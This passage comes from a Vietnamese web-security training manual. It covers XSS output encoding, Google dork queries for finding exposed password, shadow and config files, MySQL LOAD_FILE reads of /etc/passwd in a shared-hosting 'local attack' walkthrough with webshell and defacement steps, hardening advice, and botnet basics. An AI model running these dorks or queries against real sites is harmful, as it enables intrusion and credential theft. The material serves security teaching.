riêng để giải quyết.

Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước

khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử

dụng. Trong trường hợp này thẻ <script> sẽ được đổi thành <script>. Như

vậy sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử

dụng.

Tôi lấy ví dụ với script search.cgi với mã nguồn là

Code:

#!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $query = $cgi-

>param('query'); print $cgi->header(); print "You entered $query";

Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu

được nhập vào. Dĩ nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã

HTML, như thế nó không chỉ không in ra chính xác những dữ liệu vào

Page 21: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 21

một cách trực quan mà còn có tiềm ẩn lỗi XSS.

Để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt

của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một

mã nguồn mới như sau:

Code:

#!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new();

my $text = $cgi->param('text'); print $cgi->header(); print "You

entered ", HTML::Entities::encode($text);

Với phương pháp này cũng có thể áp dụng đối với các ngôn ngữ

Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ

liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng

ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS.

Bạn có thể lấy mã nguồn chương trình từ

http://www.mricon.com/html/phpfilter.html

III/Google Hack:

A.Giới thiệu

Google là máy tìm kiếm mạnh mẽ và phổ biến nhất thế giới,nó có

khả năng chấp nhận những lệnh được định nghĩa sẵn khi nhập vào và cho

những kết quả không thể tin được.Điều này cho phép những người dùng

có dã tâm như tin tặc, crackers, và script kiddies v.v... sử dụng máy tìm

kiếm Google để thu thập những thông tin bí mật và nhạy cảm, những cái

mà không thể nhìn thấy qua những tìm kiếm thông thường.

Page 22: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 22

- Những cú pháp tìm kiếm nâng cao với Google

- Tìm kiếm những Site hoặc Server(máy chủ) dễ bị tấn công sử dụng

những cú pháp nâng cao của Google

- Bảo mật cho servers hoặc sites khỏi sự tấn công của Google

Những cú pháp tìm kiếm nâng cao với Google

Dưới đây thảo luận về những lệnh đặc biệt của Google và tôi sẽ giải thích

từng lệnh một cách ngắn gọn và nói rõ nó được sử dụng như thế nào để

tìm kiếm thông tin.

Page 23: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 23

a.[ intitle: ]

Cú pháp “intitle:” giúp Google giới hạn kết quả tìm kiếm về

những trang có chứa từ đó trong tiêu đề. Ví dụ, “intitle: login

password” (không có ngoặc kép) sẽ cho kết quả là những link đến

những trang có từ "login" trong tiêu đề, và từ "password" nằm ở

đâu đó trong trang.

Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong tiêu đề

của trang thì ta có thể dùng “allintitle:” thay cho “intitle” để có kết

quả là những trang có chứa tất cả những từ đó trong tiêu đề. Ví dụ

như dùng “intitle: login intitle: password” cũng giống như truy vấn

“allintitle: login password”.

b.[ inurl: ]

Cú pháp “inurl:” giới hạn kết quả tìm kiếm về những địa chỉ

URL có chứa từ khóa tìm kiếm. Ví dụ: “inurl: passwd” (không có

ngoặc kép) sẽ cho kết quả là những link đến những trang có từ

"passwd" trong URL.

Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong URL

Page 24: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 24

thì ta có thể dùng “allinurl:” thay cho “inurl” để được kết quả là

những URL chứa tất cả những từ khóa tìm kiếm.Ví dụ: “allinurl:

etc/passwd“ sẽ tìm kiếm những URL có chứa “etc” và “passwd”.

Ký hiệu gạch chéo (“/”) giữa các từ sẽ bị Google bỏ qua.

c.[ site: ]

Cú pháp “site:” giới hạn Google chỉ truy vấn những từ khóa

xác định trong một site hoặc tên miền riêng biệt. Ví dụ: “exploits

site:hackingspirits.com” (không có ngoặc kép) sẽ tìm kiếm từ khóa

“exploits” trong những trang hiện có trong tất cả các link của tên

miền “hackingspirits.com”. Không có khoảng trống nào giữa “site:”

và “tên miền”.

d.[ filetype: ]

Cú pháp “filetype:” giới hạn Google chỉ tìm kiếm những files

trên internet có phần mở rộng riêng biệt (Ví dụ: doc, pdf hay ppt

v.v...). Ví dụ : “filetype:doc site:gov confidential” (không có ngoặc

kép) sẽ tìm kiếm những file có phẩn mở rộng là “.doc” trong tất cả

những tên miền của chính phủ có phần mở rộng là “.gov” và chứa

từ “confidential”(bí mật) trong trang hoặc trong file “.doc”. Ví dụ .

Kết quả sẽ bao gồm những liên kết đến tất cả các file văn bản bí

trên các site của chính phủ.

e.[ link: ]

Cú pháp “link:” sẽ liệt kê những trang web mà có các liên kết

đến đến những trang web chỉ định. Ví dụ :

chuỗi “link:www.securityfocus.com” sẽ liệt kê những trang web có

liên kết trỏ đến trang chủ SecurityFocus.

Chú ý không có khoảng trống giữa "link:" và URL của trang Web.

f.[ related: ]

Cú pháp “related:” sẽ liệt kê các trang Web "tương tự" với

trang Web chỉ định. Ví dụ :

“related:www.securityfocus.com” sẽ liệt kê các trang web tương tự

với trang chủ Securityfocus. Nhớ rằng không có khoảng trống giữa

"related:" và URL của trang Web.

g.[ cache: ]

Page 25: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 25

Truy vấn “cache:” sẽ cho kết quả là phiên bản của trang Web

mà mà Google đã lưu lại. Ví dụ:

“cache:www.hackingspirits.com” sẽ cho ra trang đã lưu lại bởi

Google's. Nhớ rằng không có khoảng trống giữa "cache:" và URL

của trang web.

Nếu bao gồm những từ khác trong truy vấn, Google sẽ điểm

sáng những từ này trong văn bản đã được lưu lại.

Ví dụ: “cache:www.hackingspirits.com guest” sẽ cho ra văn bản đã

được lưu lại có từ "guest" được điểm sáng.

h.[ intext: ]

Cú pháp “intext:” tìm kiếm các từ trong một website riêng biệt. Nó

phớt lờ các liên kết hoặc URL và tiêu đề của trang.

Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là

những liên kết đến những trang web có từ khóa tìm kiếm là

"exploits" trong các trang của nó.

i.[ phonebook: ]

“phonebook” tìm kiếm thông tin về các địa chỉ đường phố ở Mỹ và

số điện thoại. Ví dụ:

“phonebook:Lisa+CA” sẽ liệt kê tất cả các tên người có từ “Lisa”

trong tên và ở “California (CA)”. Cú pháp này có thể được sử dụng

như là một công cụ tuyệt vời của tin tặc trong trường hợp ai đó

muốn tìm kiếm thông tin cá nhân cho công việc xã hội.

Truy vấn các site hoặc server dễ bị tấn công sử dụng các

cú pháp nâng cao của Google.Những cú pháp truy vấn nâng cao

thảo luận ở trên thực sự có thể giúp người ta chính xác hóa các tìm

kiếm và có được những gì họ thực sự tìm kiếm.

Bây giờ Google trở thành một máy tìm kiếm thông minh,

những người dùng có ác ý không hề bận tâm khai thác khả năng của

nó để đào bới những thông tin bí mật từ internet mà chỉ có sự truy

cập giới hạn. Bây giờ tôi sẽ thảo luận những kỹ thuật này một cách

chi tiết làm thế nào để những người dùng ác tâm đào bới thông tin

trên internet sử dụng Google như một công cụ. Sử dụng cú pháp

“Index of ” để tìm kiếm các site cho phép duyệt chỉ mục

Page 26: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 26

Một webserver(máy chủ web) cho phép duyệt chỉ mục nghĩa là

bất kỳ ai có thể duyệt các thư mục của webserver như các thư mục

nội bộ thông thường. Ở đây tôi sẽ thảo luận làm thế nào để sử dụng

cú pháp "index of" để có một danh sách các liên kết đến webserver

cho phép duyệt thư mục.

Cách này trở thành một nguồn dễ dàng cho việc thu thập thông

tin của tin tặc. Tưởng tưởng nếu họ nắm được các file mật khẩu

hoặc các file nhạy cảm khác mà bình thưởng không thể thấy được

trên internet.

Dưới đây là vài Ví dụ sử dụng để có được quyền truy cập vào rất

nhiều thông tin nhạy cảm dễ dàng hơn rất nhiều:

Index of /admin

Index of /passwd

Index of /password

Index of /mail

"Index of /" +passwd

"Index of /" +password.txt

"Index of /" +.htaccess

"Index of /secret"

"Index of /confidential"

"Index of /root"

Page 27: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 27

"Index of /cgi-bin"

"Index of /credit-card"

"Index of /logs"

"Index of /config"

1.Tìm kiếm các site hoặc server dễ bị tấn công sử dụng cú pháp

“inurl:” hoặc “allinurl:”

a. Sử dụng “allinurl:winnt/system32/” (không có ngoặc kép) sẽ liệt kê

tất cả các liên kết đến server mà cho phép truy cập đến những thư mục

giới hạn như “system32” qua web. Nếu bạn đủ may mắn thì bạn có thể có

quyền truy cập đến file cmd.exe trong thư mục “system32”. Một khi bạn

có quyền truy cập đến file “cmd.exe” và có thể thực thi nó thì bạn có thể

tiến lên xa hơn leo thang quyền của bạn khắp server và làm hại nó.

b. Sử dụng “allinurl:wwwboard/passwd.txt”(không có ngoặc kép)

trong Google search sẽ liệt kê tất cả các liên kết đến server mà dễ bị tấn

công vào “tính dễ bị tấn công mật khẩu WWWBoard”. Để biết thêm về

tính dễ bị tấn công này bạn có thể vào link sau đây:

http://www.securiteam.com/exploits/2BUQ4S0SAW.html

c. Sử dụng “inurl:.bash_history” (không có ngoặc kép) sẽ liệt kê tất cả

các liên kết đến server mà cho phép truy cập vào file “.bash_history” qua

web. Đây là một file lịch sử dòng lệnh. File này bao gồm danh sách các

lệnh được thực thi bởi quản trị viên, và đôi khi bao gồm cả thông tin nhạy

cảm như mật khẩu gõ vào bởi quản trị viên. Nếu file này bị làm hại và nếu

nó bao gồm mật khẩu đã mã hóa của hệ thống unix (or *nix) thì nó có thể

dễ dàng bị crack bởi phương pháp “John The Ripper”.

Page 28: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 28

d. Sử dụng “inurl:config.txt” (không có ngoặc kép) sẽ liệt kê tất cả các

liên kết đến các máy chủ cho phép truy cập vào file “config.txt” qua giao

diện web. File này bao gồm các thông tin nhạy cảm, bao gồm giá trị bị

băm ra của mật khẩu quản trị và sự xác thực quyền truy cập cơ sở dữ liệu.

Ví dụ: Hệ thống quản lý học tập Ingenium là một ứng dụng Web cho các

hệ thống Windows phát triển bởi Click2learn, Inc. Hệ thống quản lý học

tập Ingenium

phiên bản 5.1 và 6.1 lưu các thông tin nhạy cảm không an tòan trong file

config.txt. Để biết thêm thông tin vào liên kết sau:

http://www.securiteam.com/securitynews/6M00H2K5PG.html

Những tìm kiếm tương tự khác dùng “inurl:” hoặc “allinurl:” kết hợp với

các cú pháp khác:

inurl:admin filetype:txt

Page 29: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 29

inurl:admin filetype:db

inurl:admin filetype:cfg

inurl:mysql filetype:cfg

inurl:passwd filetype:txt

inurl:iisadmin

inurl:auth_user_file.txt

inurlrders.txt

inurl:"wwwroot/*."

inurl:adpassword.txt

inurl:webeditor.php

inurl:file_upload.php

inurl:gov filetypels "restricted"

index of ftp +.mdb allinurl:/cgi-bin/ +mailto

2.Tìm kiếm các site hoặc server dễ bị tấn công dùng “intitle:” hoặc

“allintitle:”

Page 30: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 30

a. Sử dụng [allintitle: "index of /root”] (không có ngoặc vuông) sẽ liệt

kê các liên kết đến các webserver(máy chủ Web) cho phép truy cập vào

các thư mục giới hạn như “root” qua giao diện web. Thư mục này đôi khi

bao gồm các thông tin nhạy cảm mà có thể dễ dàng tìm được tqua những

yêu cầu Web đơn giản.

b. Sử dụng [allintitle: "index of /admin”] (không có ngoặc vuông) sẽ

liệt kê các liên kết đến các website cho phép duyệt chỉ mục các thư mục

giới hạn như “admin” qua giao diện web. Hầu hết các ứng dụng web đôi

khi sử dụng tên như “admin” để lưu quyền admin trong đó. Thư mục này

đôi khi bao hàm các thông tin nhạy cảm mà có thể dễ dàng tìm được qua

các yêu cầu Web đơn giản.

Những tìm kiếm tương tự dùng “intitle:” hoặc “allintitle:” kết hợp với các

cú pháp khác

Page 31: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 31

intitle:"Index of" .sh_history

intitle:"Index of" .bash_history

intitle:"index of" passwd

intitle:"index of" people.lst

intitle:"index of" pwd.db

intitle:"index of" etc/shadow

intitle:"index of" spwd

intitle:"index of" master.passwd

intitle:"index of" htpasswd

intitle:"index of" members OR accounts

intitle:"index of" user_carts OR user_cart

allintitle: sensitive filetype:doc

allintitle: restricted filetype :mail

allintitle: restricted filetype:doc site:gov

Những truy vấn tìm kiếm thú vị khác

Để tìm những site dễ bị tấn công bằng phương pháp Cross-Sites

Scripting (XSS):

allinurl:/scripts/cart32.exe

Page 32: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 32

allinurl:/CuteNews/show_archives.php

allinurl:/phpinfo.php

Để tìm những site dễ bị tấn công bằng phương pháp SQL Injection:

allinurl:/privmsg.php

allinurl:/privmsg.php Bảo mật các server hoặc site khỏi sự tấn công của Google

Dưới đây là những phương pháp bảo mật mà các quản trị viên và các

chuyên gia bảo mật phải đưa vào tài khoản để bảo mật những thông tin

then chốt khỏi rơi vào không đúng chỗ:

- Cài những bản vá bảo mật mới nhất cho các ứng dụng cũng như hệ điều

hành chạy trên máy chủ.

- Đừng để những thông tin nhạy cảm và then chốt trên máy chủ mà không

có hệ thống xác nhận hợp lệ mà có thể bị truy cập trực tiếp bởi bất kỳ ai

trên internet.

- Không cho phép duyệt thư mục trên webserver. Duyệt thư mục chỉ nên

được cho phép với các thư mục web muốn cho bất kỳ ai trên internet truy

cập.

- Nếu bạn tìm thấy bất kỳ liên kết nào đến server hoặc site giới hạn của

bạn trong kết quả của Google search thì nó phải được xóa đi. Vào liên kết

sau để biết thêm chi tiết:

http://www.google.com/remove.html

- Không cho phép truy cập dấu tên vào webserver qua internet vào các thư

mục hệ thống giới hạn.

- Cài các công cụ lọc như URLScan cho các máy chủ chạy IIS như là

webserver.

Page 33: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 33

IV/Local Atack:

A. Local Atack là gì?

Là tấn công từ nội bộ ở bên trong, một khái niệm xuất hiện từ khi

các máy chủ mạnh lên trong thời gian gần đây, như vào thập niên trước,

các máy chủ chạy Web (web server) có cấu hình chỉ ở mức trung bình vả

chỉ có thể đảm nhiệm việc gồng gánh một hoặc hai, ba trang web cùng tồn

tại. Theo thời gian, cấu hình các máy chủ ngày càng mạnh hơn, tốc độ xử

lý và các công nghệ phân luồng, đa nhân, xử lý song song. Đồng bộ với

sự phát triển của phần cứng là phần mềm hệ thống và web server,

software ngày càng được viết chuyên biệt để xử lý đa tác vụ. Chính nhờ

sự phát triển đó, một máy chủ ngày nay có thể đặt nhiều website trên đó.

Và cũng chính nhờ vậy, mà 1 công nghệ khai thác lỗi mới ra đời. Nó

mang tên local attack (tấn công từ nội bộ).

Nếu 1 server đặt các website: A, B, C, D. Muốn tấn công A, check

A không thấy lỗi khai thác chuyển ngay sang B tìm cách khai thác

B, nếu không được chuyển sang C khai thác được C up web

shell hoặc shell code lên nắm quyền điều khiển server (hoặc quyền

nào đó giúp có thể đọc các thong tin cần thiết để tấn công A

(user/password, database, username/password e-mail…) attack A.

Các bước thực hiện:

1. Xác định các website cần tấn công.

2. Xác định các website đặt cùng server với mục tiêu

Page 34: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 34

3. Tìm cách khai thác một trong các website đặt chung server với

mục tiêu. Khai thác được 1 trong số các website đó. Tìm cách

upload webshell hoặc thực thi shell code.

4. Thành công có webshell, kiểm tra quyền của user hiện tại.

5. Nếu quyền hiện tại đủ để tấn công mục tiêu. Sang bước 7.

6. Nếu quyền hiện tại không đủ tấn công, tìm cách nâng quyền lên.

7. Đã có đủ quyền, tiến hành đọc file config, tìm user/password,

deface mục tiêu nếu có thể.

8. Kết thúc.

B. Cách tấn công bằng local attack và phòng chống:

1. Tấn Công Bằng Local Attack:

MySQL là một DBMS ( Database Management System - hệ thống quản

trị cơ sở dử liệu ) gồm 4 loại ver:

* MySQL Standard bản chuẩn.

* MySQL Pro là bản thương mại

* MySQL Max là phiên bản nâng cao tích hợp những chức năng cao cấp.

* MySQL Classic : không tích hợp InnoDB engine.

Để cho thuận tiện, nhà sản xuất đã tích hợp thêm một số function có thể

gây xâm hại đến bảo mật hệ thống. Như ở bài trước, thì một vào function

Page 35: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 35

trog số này đã được lợi dụng để thực hiện local attack ( tấn công cục bộ

trên cùng máy chủ ).

a.Giả sử hacker có quyền tạo, edit , delete, thêm / xóa DB trên server:

hacker có thể tốn công qua kịch bản :

- Tạo 1 db

- Tạo một table mới.

- Thực hiện chuỗi câu lệnh :

Code:

use atttacker;

Create table readfile(text LONGTEXT);

Insert into readfile values(loadfile('/etc/passwd');

Nhìn lại cách thức attack local qua MySQL, hacker sử dụng

load_file() để tấn công. Cấu trúc chung của hàm này là

LOAD_FILE(file_name) . Hàm này được sử dụng với mục đích chính

là đọc 1 file và trả về nội dụng dưới dạng chuỗi ký tự. Theo manual của

MySQL :

Code:

" To use this function, the file must be located on the server host,

you must specify the full pathname to the file, and you must have the

FILE privilege. The file must be readable by all and its size less than

max_allowed_packet bytes. "

Như trên ta thấy để có thể đọc được file qua MySQL thì account

phải có quyền FILE privilege và file muốn đọc phải có quyền read ( đc

phép đọc ). Dựa vào đó ta có 2 cách để ngăn chặn việc truy xuất file

trái phép :

+ chmod file: không có quyền read ở nhóm group và world, cách

chmod tôi hay áp dụng là 401 ( |r--|---|--x| ), để thực hiện chỉnh sửa file

bạn nên thực hiện trong Control Panel hoặc qua FTP.

+ cấm FILE privilege của tất cả các user trong MySQL.

b.Thông qua hàm load data infile : Trước khi vào đề thì mình xin nói sơ qua về hàm load data:

Hàm load data local trong MySQL lâu nay đc khai thác để attack local

khá nhiều và cũng không ít srv dính lỗi này, thậm chí là rất phổ biến

Page 36: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 36

với các shared hosting vốn đòi hỏi yêu cầu về độ bảo mật cao.

Hàm này cho phép tải nội dung của một file ở bên trong srv "local"

hoặc client host.

Theo mặc định thì đều được biên dich với tùy chọn --enable-local-

infile. Để tắt tùy chọn này bạn dùng command để đăng nhập vào mysql

với quyền root rồi dùng câu lệnh --local-infile=0 hoặc edit file my.cnf

trong /etc

[mysqld]

...(other stuff)

local-infile=0

[mysql]

...(other stuff)

local-infile=0

Sau đó shutdown và chạy lại MySql. shell> mysqladmin shutdown

shell> cd /usr/libexec

shell> mysqld

-Khi đó nếu dùng hàm này sẽ có thông báo lỗi:

Code:

ERROR 1148: The used command is not allowed with this MySQL

version

Code:

"LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE

'file_name'

[REPLACE | IGNORE]

INTO TABLE tbl_name

[FIELDS

[TERMINATED BY 'string']

[[OPTIONALLY] ENCLOSED BY 'char']

[ESCAPED BY 'char']

]

[LINES

[STARTING BY 'string']

[TERMINATED BY 'string']

Page 37: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 37

]

[IGNORE number LINES]

[(col_name,...)] "

Hàm này cũng giống như load_file() nhưng tốc độ thực hiện câu

lệnh nhanh hơn. Ở đâu có thêm phạm vi "local", "local" ở đây có thể là

localhost như /home/vietchuye/public_html/index.php hoặc client

host như http://www.ddcntt.vn/index.php. Với nhu cầu dùng thông

thường để setup và chạy trên localhost thì rõ ràng hàm này là không

cần thiết. Để sử dụng được hàm này thì file để đọc cần phải ở trong

thư mục chứa database hoặc phải được phép read ở nhóm "world" và

user MySQL phải có quyền FILE privilege.

Qua 2 kịch bản trên ta thấy FILE privilege chính là chìa khóa để giải

quyết vấn đề attack local qua MySQL.

MySQL là một hệ quản trị cơ sở dữ liệu rất mạnh mẽ và hữu dụng

nhưng nó cũng có nhiều chức năng không cần thiết làm nảy sinh những

nguy cơ tiềm ẩn về bảo mật hệ thống.

2. Cách Chống Local Attack:

Thường xuyên backup dữ liệu (giảm thiệt hại khi bị drop database)

-Bỏ quyền DROP database của user

-đặt safemode on và disable 1 số hàm nguy hiểm = cách tạo file php.ini

với nội dung sau

safe-mode = on

display_errors = Off

disable_functions = passthru, system, shell_exec, exec, dir, readfile,

virtual,socket_accept,socket_bind,socket_clear_err

or,socket_close,socket_connect,socket_create_liste n

proc_terminate

log_errors = On

Rồi up lên thư mục public_html, sau đó cmod thành 444

---Đổi tên,đặt pass cho thư mục admincp:

Đổi tên admincp và nhưng đừng sửa lại trong file config.php tên mới

Page 38: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 38

nhé,ví dụ là [email protected] vào đó,bạn làm như sau:tạo 1 thư mục

khác,lấy tên là "admincp" ,sau đó copy toàn bộ file trong thư mục

"!!!!aaaad@" qua thư mục này,sau đó,mở từng file 1 ra,sửa lung tung

lên(cốt để cho file đấy không chạy đc),nhưng đừng sửa file index.php là

đượcc.Sau đó vào cpanel, đặt pass cho thư mục "!!!!aaaad@" và thư mục

"admincp"

Giải thích qua về tác dụng của việc này: nếu như hacker biết đc pass

admin,muốn vào admincp thì chắc chắn sẽ vào OpenDNS ,sau đó sẽ phải

tìm cách vượt qua pass protect,nếu có vượt qua đc,đăng nhập vào thì cũng

chả làm được gì(bởi vì tất cả các file trong thư mục "admincp" ta đã sửa )

---Di chuyển vị trí file config.php:

Việc này là 1 việc rất quan trọng,vì giả sử hacker có up shell lên đc thì

cũng phải có user và pass thì mới connect đc đến database.Bạn làm như

sau:

----B1: zend file config.php lại,đổi tên thành 1 file khác,chẳng hạn

a.php,rồi chuyển vào 1 thư mục nào đó ngoài thư mục public_html là

đc.VD:

---B2: tạo 1 file khác tên là config.php với nội dung sau:VD:

<?php include "/home/lyamsinfo/php/a.php" ?>

Nhớ thay /home/lyamsinf/php/config.php = đường dẫn đến file a.php

của bạn.Sau đó tiếp tục zend file này lại.

----B3: Tiếp tục di chuyển file "config.php"(file trong thư mục includes

ấy nhé)đến 1 vị trí khác(dĩ nhiên là ngoài thư mục public_html)

Mở file "class_core.php" trong thư mục "includes",sửa lại đường dẫn

đến file "config.php".Làm tương tự với file "diagnostic.php" trong thư

mục "!!!!aaaad@"(thư mục admincp đã đổi tên).Rồi zend 2 file

"diagnostic.php" và "class_core.php".

Sau đó nhớ vào thư mục includes,tạo 1 file config.php "giả",điền sai

thông tin user,pass đăng nhập database lại và cũng zend lại được.

Thế là ta đã giấu file config.php thật 1 cách khá kĩ đó,hacker sẽ khá nản

Page 39: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 39

khi muốn mò đc file config.php thật!Như vây là tạm thời yên tâm về

thông tin đăng nhập database ko bị mất nữa!

V/ Botnet, Dos:

A. Botnet:

1.Botnet là gì? là những chương trình tương tự Trojan backdoor

cho phép kẻ tấn công sử dụng máy của họ như là những Zoombie (

máy tính thây ma – máy tính bị chiếm quyền điều khiển hoàn toàn

) v à chúng chủ động kết nối với một Server để dễ dàng điều khiển

, các bạn lưu ý chữ “chủ động” đó là một đặc điểm khác của bot so

với trojan backdoor . Chính vì sự chủ động này mà máy tính bị cài

đặt chúng kết nối trở nên chậm chạp , một đặc điểm giúp ta dễ

dàng nhận diện bot .

Mạng botnet là một mạng rất lớn gồm hàng trăm hàng ngàn

máy tính Zombie kết nối với một máy chủ mIRC ( Internet Replay

Chat ) hoặc qua các máy chủ DNS để nhận lệnh từ hacker một

cách nhanh nhất . Các mạng bot gồm hàng ngàn “thành viên” là

một công cụ lý tưởng cho các cuộc chiến tranh đọ máu như DDOS

, spam, cài đặt các chương trình quảng cáo …..

2. Cách phát tán:

Page 40: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 40

Các botmaster thường phát tán bot theo những cách như sau

a-Sử dụng một con worm tải bot xuống và kích hoạt chúng (ta đã

biết là worm lây lan rất mạnh )

b- Gắn bot vào một trojan nói theo cách dễ hiểu nhất là gửi các

chương trình bị lây nhiễm bởi bot cho các nạn nhân và tự họ sẽ

kích hoạt chúng

c - Gắn nó lên một trang web nhiều người truy câpj ( thường là các

trang web sex :X vì số lượng người tham gia rất lớn )

d- Kết hợp các 1 với 2 hoặc 4 (gắn worm vào trojan hoặc web)

Page 41: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 41

3. Phân Loại Bot:

Theo cách điêur khỉên botnet được chia làm hai loại

+ DNS Bot : điều khiển qua nền web, nguyên tắc hoạt động như

sau : đầu tiên tại host điều khiển botmaster sẽ tại một tệp lệnh.txt

sau đó bot sẽ download tệp này, tiến hành phân tích và thực hiện

yêu cấu của người viết.

-Ưu đỉêm : Thực hiện dễ dàng viết và điều khỉên đơn giản chỉ cần

một host bất kỳ là có thể điều khiển được , bot thực hiện lệnh được

công việc ngay cả khi chủ bot online hay offline .

-Nhược đỉêm : tốc độ xử lý chậm (do phải mất công cho cả

download và upload ) – không có sự trao đổi qua lại giữa chủ bot

và zombie .

+ mIRC : điều khiển qua các mạng chat mIRC : ta đã biết là tại

hình thức chat Internet Replay Chat, một chương trình có thể tuỳ ý

đăng ký và sử dụng một nick name mà không cần phải đăng ký ,

lợi dụng lỗ hổng này bot mIRC sử dụng chúng để hoạt đông

.Nguyên tắc như sau : bot sẽ sử dụng winsock gửi các tệp lệnh

IRC để nhận lệnh từ hacker qua một port đã định sẵn khi cấu hình

